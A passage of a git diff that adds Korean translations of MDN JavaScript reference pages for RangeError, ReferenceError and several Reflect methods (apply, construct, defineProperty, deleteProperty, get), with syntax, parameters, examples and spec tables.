+<p><code>RangeError</code> 는 허용되지 않은 범위의 수를 포함한 아규먼트를 함수에 넘기려고 할 때 던져집니다. {{jsxref("Array")}} 생성자로 허용범위를 초과한 길이의 배열 생성을 시도하려 하거나,  적절하지 않은 값을 numeric method({{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} 또는 {{jsxref("Number.toPrecision()")}})에 넘기려 할 때, 이 에러를 만날 수 있을 것입니다.  </p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("RangeError.prototype")}}</dt>
+ <dd><code>RangeError</code> 객체에 속성을 추가하도록 해준다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>전역(global)의 <code>RangeError</code>는 자신의 메소드를 가지고 있지 않습니다. 하지만, 몇 가지의 메소드를 프로토타입 체인을 통해 상속받습니다.</p>
+
+<h2 id="RangeError_인스턴스"><code>RangeError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Properties')}}</div>
+
+<h3 id="메소드_2">메소드</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype', 'Methods')}}</div>
+
+<h2 id="예">예</h2>
+
+<h3 id="RangeError_사용하기"><code>RangeError </code>사용하기</h3>
+
+<pre class="brush: js">var check = function(num) {
+ if (num &lt; MIN || num &gt; MAX) {
+ throw new RangeError('Parameter must be between ' + MIN + ' and ' + MAX);
+ }
+};
+
+try {
+ check(500);
+}
+catch (e) {
+ if (e instanceof RangeError) {
+ // Handle range error
+ }
+}
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("RangeError.prototype")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Number.toExponential()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/referenceerror/index.html b/files/ko/web/javascript/reference/global_objects/referenceerror/index.html
new file mode 100644
index 0000000000..ed5fee8c48
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/referenceerror/index.html
@@ -0,0 +1,129 @@
+---
+title: ReferenceError
+slug: Web/JavaScript/Reference/Global_Objects/ReferenceError
+translation_of: Web/JavaScript/Reference/Global_Objects/ReferenceError
+---
+<div>{{JSRef}}</div>
+
+<div>
+<p><code><strong>ReferenceError</strong></code> 객체는 존재하지 않는 변수를 참조했을 때 발생하는 에러를 나타냅니다.</p>
+</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>new ReferenceError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>선택사항. 에러에 대한 설명문</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>선택사항. 예외가 발생한 코드를 포함하는 파일의 이름</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>선택사항. 예외가 발생한 코드의 줄 번호</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><strong><code>ReferenceError</code></strong>는 선언된 적이 없는 변수를 참조하려고 할 때 발생합니다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{jsxref("ReferenceError.prototype")}}</dt>
+ <dd>ReferenceError 객체에 프로퍼티를 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>전역 ReferenceError는 메서드를 가지고 있지 않습니다. 그러나 상속 관계에서 프로토타입 체인을 통해 일부 메서드를 가질 수 있습니다.</p>
+
+<h2 id="ReferenceError_인스턴스"><code>ReferenceError</code> 인스턴스</h2>
+
+<h3 id="프로퍼티_2">프로퍼티</h3>
+
+<div>{{page('/ko-KR/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype', 'Properties')}}</div>
+
+<h3 id="메서드_2">메서드</h3>
+
+<div>{{page('/ko-KR/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype', 'Methods')}}</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="ReferenceError_처리하기"><code>ReferenceError</code> 처리하기</h3>
+
+<pre class="brush: js">try {
+ var a = undefinedVariable;
+} catch (e) {
+ console.log(e instanceof ReferenceError); // true
+ console.log(e.message); // "undefinedVariable is not defined"
+ console.log(e.name); // "ReferenceError"
+ console.log(e.fileName); // "Scratchpad/1"
+ console.log(e.lineNumber); // 2
+ console.log(e.columnNumber); // 6
+ console.log(e.stack); // "@Scratchpad/2:2:7\n"
+}
+</pre>
+
+<h3 id="ReferenceError_생성하기"><code>ReferenceError</code> 생성하기</h3>
+
+<pre class="brush: js">try {
+ throw new ReferenceError('Hello', 'someFile.js', 10);
+} catch (e) {
+ console.log(e instanceof ReferenceError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "ReferenceError"
+ console.log(e.fileName); // "someFile.js"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.6.3', 'ReferenceError')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-referenceerror', 'ReferenceError')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터로부터 생성됩니다. 해당 데이터를 개선하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 체크아웃하고 저희에게 풀 리퀘스트를 보내주십시오.</div>
+
+<p>{{Compat("javascript.builtins.ReferenceError")}}</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("ReferenceError.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/apply/index.html b/files/ko/web/javascript/reference/global_objects/reflect/apply/index.html
new file mode 100644
index 0000000000..a9146a0952
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/apply/index.html
@@ -0,0 +1,93 @@
+---
+title: Reflect.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/apply
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/apply
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.apply()</code></strong> 정적 메서드는 대상 함수를 주어진 매개변수로 호출합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-apply.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.apply(<em>target</em>, <em>thisArgument</em>, <em>argumentsList</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>호출할 대상 함수.</dd>
+ <dt><code>thisArgument</code></dt>
+ <dd>호출에서 <code>target</code>의 <code>this</code>로 사용할 값.</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd><code>target</code>을 호출할 때 매개변수로 전달할 배열형 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 <code>this</code> 값과 매개변수로 대상 함수를 호출한 결과.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 호출 가능한 객체가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>ES5에서는 {{jsxref("Function.prototype.apply()")}} 메서드를 사용해, 함수를 호출할 때 <code>this</code> 값을 지정하거나 매개변수를 배열(또는 배열형 객체)에서 넘겨줄 수 있었습니다.</p>
+
+<pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre>
+
+<p><code>Reflect.apply()</code> 메서드를 사용해 같은 작업을 더 쉽고 유려하게 수행할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.apply_사용하기"><code>Reflect.apply()</code> 사용하기</h3>
+
+<pre class="brush: js">Reflect.apply(Math.floor, undefined, [1.75]);
+// 1;
+
+Reflect.apply(String.fromCharCode, undefined, [104, 101, 108, 108, 111]);
+// "hello"
+
+Reflect.apply(RegExp.prototype.exec, /ab/, ['confabulation']).index;
+// 4
+
+Reflect.apply(''.charAt, 'ponies', [3]);
+// "i"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.apply', 'Reflect.apply')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.apply")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ko/web/javascript/reference/global_objects/reflect/construct/index.html
new file mode 100644
index 0000000000..e98f3204de
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/construct/index.html
@@ -0,0 +1,154 @@
+---
+title: Reflect.construct()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/construct
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.construct()</code></strong> 정적 메서드는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>처럼 동작하는 함수입니다. <code>new target(...args)</code>를 호출하는 것과 같습니다. 추가 기능으로 다른 프로토타입을 지정할 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-construct.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.construct(<em>target</em>, <em>argumentsList</em>[, <em>newTarget</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>호출할 대상 함수.</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd><code>target</code>의 매개변수로 전달할 배열형 객체.</dd>
+ <dt><code>newTarget</code> {{optional_inline}}</dt>
+ <dd>프로토타입으로 사용할 생성자. <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></code> 연산자도 확인하세요. <code>newTarget</code>이 주어지지 않았을 땐 <code>target</code>을 사용합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>target</code>을 생성자로 하고 주어진 매개변수를 전달해 생성한 <code>target</code>(또는, 지정했다면 <code>newTarget</code>)의 새로운 인스턴스.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code> 또는 <code>newTarget</code>이 생성자가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.construct()</code>는 생성자를 가변 길이의 매개변수로 호출할 수 있습니다. (<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 연산자</a>와 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Spread_syntax">전개 구문</a>을 사용해도 가능합니다)</p>
+
+<pre class="brush: js">var obj = new Foo(...args);
+var obj = Reflect.construct(Foo, args);
+</pre>
+
+<h3 id="Reflect.construct()_vs_Object.create()"><code>Reflect.construct()</code> vs <code>Object.create()</code></h3>
+
+<p><code>Reflect</code>의 도입 이전에는 임의의 생성자와 프로토타입에 {{jsxref("Object.create()")}}를 사용해 객체를 생성할 수 있었습니다.</p>
+
+<pre class="brush: js">function OneClass() {
+ this.name = 'one';
+}
+
+function OtherClass() {
+ this.name = 'other';
+}
+
+// Calling this:
+var obj1 = Reflect.construct(OneClass, args, OtherClass);
+
+// ...has the same result as this:
+var obj2 = Object.create(OtherClass.prototype);
+OneClass.apply(obj2, args);
+
+console.log(obj1.name); // 'one'
+console.log(obj2.name); // 'one'
+
+console.log(obj1 instanceof OneClass); // false
+console.log(obj2 instanceof OneClass); // false
+
+console.log(obj1 instanceof OtherClass); // true
+console.log(obj2 instanceof OtherClass); // true
+</pre>
+
+<p>그러나, 결과는 동일하더라도 과정에는 중요한 차이가 하나 존재합니다. <code>Object.create()</code>와 {{jsxref("Function.prototype.apply()")}}를 사용할 땐, 객체 생성에 <code>new</code> 키워드가 관여하지 않으므로 <code>new.target</code> 연산자가 <code>undefined</code>를 가리킵니다.</p>
+
+<p>반면 <code>Reflect.construct()</code>를 호출하면, <code>newTarget</code>이 존재하면 <code>new.target</code> 연산자가 <code>newTarget</code>을, 아니면 <code>target</code>을 가리킵니다.</p>
+
+<pre class="brush: js">function OneClass() {
+ console.log('OneClass');
+ console.log(new.target);
+}
+function OtherClass() {
+ console.log('OtherClass');
+ console.log(new.target);
+}
+
+var obj1 = Reflect.construct(OneClass, args);
+// Output:
+// OneClass
+// function OneClass { ... }
+
+var obj2 = Reflect.construct(OneClass, args, OtherClass);
+// Output:
+// OneClass
+// function OtherClass { ... }
+
+var obj3 = Object.create(OtherClass.prototype);
+OneClass.apply(obj3, args);
+// Output:
+// OneClass
+// undefined
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.construct()_사용하기"><code>Reflect.construct()</code> 사용하기</h3>
+
+<pre class="brush: js">var d = Reflect.construct(Date, [1776, 6, 4]);
+d instanceof Date; // true
+d.getFullYear(); // 1776
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.construct', 'Reflect.construct')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.construct")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code></a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html b/files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html
new file mode 100644
index 0000000000..a88d2bd722
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/defineproperty/index.html
@@ -0,0 +1,100 @@
+---
+title: Reflect.defineProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.defineProperty()</code></strong> 정적 메서드는 {{jsxref("Object.defineProperty()")}}와 같은 동작을 하지만 {{jsxref("Boolean")}}을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-defineproperty.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.defineProperty(<em>target</em>, <em>propertyKey</em>, <em>attributes</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 정의할 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>정의하거나 수정할 속성의 이름.</dd>
+ <dt><code>attributes</code></dt>
+ <dd>정의하거나 수정하는 속성을 기술하는 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성이 성공적으로 정의됐는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.defineProperty</code> 메서드는 객체에 속성을 정교하게 추가하거나 수정할 수 있습니다. 자세한 내용은 유사한 메서드인 {{jsxref("Object.defineProperty")}}를 참고하세요. <code>Object.defineProperty</code>는 성공 시 대상 객체를 반환하고 실패하면 {{jsxref("TypeError")}}를 던지지만, <code>Reflect.defineProperty</code>는 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.defineProperty()_사용하기"><code>Reflect.defineProperty()</code> 사용하기</h3>
+
+<pre class="brush: js">var obj = {};
+Reflect.defineProperty(obj, 'x', {value: 7}); // true
+obj.x; // 7
+</pre>
+
+<h3 id="속성_정의의_성공_여부_알아내기">속성 정의의 성공 여부 알아내기</h3>
+
+<p>{{jsxref("Object.defineProperty")}}는 성공 시 객체를 반환하고, 실패 시 {{jsxref("TypeError")}}를 던지므로 속성 정의 과정에 발생할 수 있는 오류를 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> 블록으로 잡아야 합니다. 반면 <code>Reflect.defineProperty</code>는 성공 여부를 나타내는 {{jsxref("Boolean")}}을 반환하므로, 간단하게 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else">if...else</a></code> 블록만 사용하면 됩니다.</p>
+
+<pre class="brush: js">if (Reflect.defineProperty(target, property, attributes)) {
+ // 성공
+} else {
+ // 실패
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.defineproperty', 'Reflect.defineProperty')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.defineProperty")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html b/files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html
new file mode 100644
index 0000000000..de3b8f8ed8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/deleteproperty/index.html
@@ -0,0 +1,98 @@
+---
+title: Reflect.deleteProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/deleteProperty
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Reflect</strong></code><strong><code>.deleteProperty()</code></strong> 정적 메서드는 속성을 제거할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a>의 함수판이라고 할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-deleteproperty.html", "taller")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.deleteProperty(<em>target</em>, <em>propertyKey</em>)
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 제거할 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>제거할 속성의 이름.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성이 성공적으로 제거됐는지 나타내는 {{jsxref("Boolean")}}.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.deleteProperty</code> 메서드는 객체의 속성을 제거할 수 있습니다. 반환값은 속성의 제거 성공 여부를 나타내는 {{jsxref("Boolean")}}입니다. 비엄격 모드의 <a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a>와 거의 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.deleteProperty()_사용하기"><code>Reflect.deleteProperty()</code> 사용하기</h3>
+
+<pre class="brush: js">var obj = { x: 1, y: 2 };
+Reflect.deleteProperty(obj, 'x'); // true
+obj; // { y: 2 }
+
+var arr = [1, 2, 3, 4, 5];
+Reflect.deleteProperty(arr, '3'); // true
+arr; // [1, 2, 3, , 5]
+
+// 주어진 속성이 존재하지 않으면 true 반환
+Reflect.deleteProperty({}, 'foo'); // true
+
+// 주어진 속성이 설정 불가능하면 false 반환
+Reflect.deleteProperty(Object.freeze({foo: 1}), 'foo'); // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.deleteproperty', 'Reflect.deleteProperty')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.deleteProperty")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code> 연산자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/get/index.html b/files/ko/web/javascript/reference/global_objects/reflect/get/index.html
new file mode 100644
index 0000000000..2d5007b113
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/get/index.html
@@ -0,0 +1,100 @@
+---
+title: Reflect.get()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/get
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/get
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Reflect.get()</code></strong> 정적 메서드는 객체의 속성을 가져오는 함수입니다. <code>target[propertyKey]</code>와 비슷합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-get.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Reflect.get(<em>target</em>, <em>propertyKey</em>[, <em>receiver</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>속성을 가져올 대상 객체.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>가져올 속성의 이름.</dd>
+ <dt><code>receiver</code> {{optional_inline}}</dt>
+ <dd>대상 속성이 접근자라면 <code>this</code>의 값으로 사용할 값. {{jsxref("Proxy")}}와 함께 사용하면, 대상을 상속하는 객체를 사용할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>속성의 값.</p>
+
+<h3 id="예외">예외</h3>
+
+<p><code>target</code>이 {{jsxref("Object")}}가 아니면 {{jsxref("TypeError")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Reflect.get</code> 메서드는 객체 속성의 값을 가져올 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a>의 함수판이라고 할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Reflect.get()_사용하기"><code>Reflect.get()</code> 사용하기</h3>
+
+<pre class="brush: js">// Object
+var obj = { x: 1, y: 2 };
+Reflect.get(obj, 'x'); // 1
+
+// Array
+Reflect.get(['zero', 'one'], 1); // "one"
+
+// handler 매개변수와 Proxy
+var x = {p: 1};
+var obj = new Proxy(x, {
+ get(t, k, r) { return k + 'bar'; }
+});
+Reflect.get(obj, 'foo'); // "foobar"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-reflect.get', 'Reflect.get')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.get")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Property_Accessors">속성 접근자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html b/files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..273f5b7011
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html
@@ -0,0 +1,103 @@
